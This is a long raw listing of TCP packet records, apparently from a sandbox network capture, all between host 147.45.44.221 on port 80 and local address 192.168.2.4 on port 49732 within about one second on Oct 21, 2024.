Oct 21, 2024 08:47:30.710226059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710237026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710246086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710256100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710268021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710270882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710283041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710311890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710422039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710432053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710449934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710459948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710467100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710472107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710484028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710490942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710494995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710505009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710505962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710526943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710530043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710539103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710539103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710550070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710560083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710566044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710571051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710581064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710582972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710594893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710601091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710606098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710616112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710621119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710625887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710634947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710644960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710656881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710665941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710669994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710683107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710690022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710695028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710705996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710709095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710716963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710726976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710731030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710747957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710756063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710760117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710768938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710772038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710783005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710793972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710796118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710807085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710819960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710822105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710834026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710834980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710846901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710858107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710860014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710870981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710884094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.710886002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710899115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.710922956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.756427050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.756438017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.756447077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.756520987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.802355051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.802365065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.802371979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.802535057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810365915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810391903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810404062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810424089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810451031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810462952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810467005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810486078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810494900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810497999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810512066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810529947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810530901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810547113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810554028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810559988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810571909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810580015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810589075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810606956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810611963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810620070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810631037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810636044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810646057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.810650110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810676098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.810698032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826298952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826363087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826476097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826487064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826497078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826502085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826510906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826515913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826525927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826533079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826538086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826541901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826548100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826551914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826562881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826567888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826567888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826572895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826587915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826598883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826607943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826628923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826651096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826693058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826853037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826863050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826873064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826881886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826896906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826900005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826915026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826924086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826927900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826937914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826942921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826951027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826960087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826965094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.826972008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826982975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.826989889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827001095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827011108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827022076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827027082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827033997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827049971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827053070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827064037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827073097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827074051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827097893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827115059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827253103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827261925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827297926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827306032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827313900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827357054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827671051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827689886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827698946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827716112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827737093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827753067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827763081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827780008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827790976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827795982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827801943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827817917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827821970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827833891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827841043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827845097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827856064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827857018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827883959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827904940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.827953100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827963114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827969074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827979088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.827990055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828003883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828028917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828039885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828083992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828104019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828114033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828119040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828149080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828170061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828181028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828195095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828218937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828227043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828233957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828244925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828253031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828279972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828303099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828303099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828366041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828380108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828396082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828404903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828417063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828423977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828434944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828444958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828444958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828455925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828465939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828474045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828484058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828486919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828504086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828505039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828515053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828528881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828532934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828542948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828548908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828560114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828561068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828572035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828574896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828589916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828592062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828603983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828612089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828614950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828624964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828629017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828649044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828655005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828660965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828670979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828676939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828716993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828718901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828735113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828762054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828788996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828798056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828838110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828879118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828890085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828901052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828912020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828915119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828927994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828950882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.828982115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828991890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.828996897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829006910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829024076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829025030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829035044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829045057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829046965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829057932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829067945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829070091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829082012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829092979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829092979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829112053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829133987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829283953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829322100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829392910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829402924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829408884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829417944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829431057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829441071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829457998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829467058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829468012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829480886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829493999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829518080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829524040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829534054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829541922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829561949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829587936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829631090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829669952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829674006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829680920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829690933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829713106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829735994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829799891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829811096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829828024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829838991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829838991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829849958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829853058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829860926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829863071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829879999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829889059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829900026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829905987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829910040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829921007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829930067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829933882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829945087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829957008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829961061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829967976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.829968929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.829993963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830001116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830024958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830032110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830038071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830061913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.830068111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830102921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.830130100 CEST	80	49732	147.45.44.221	192.168.2.4
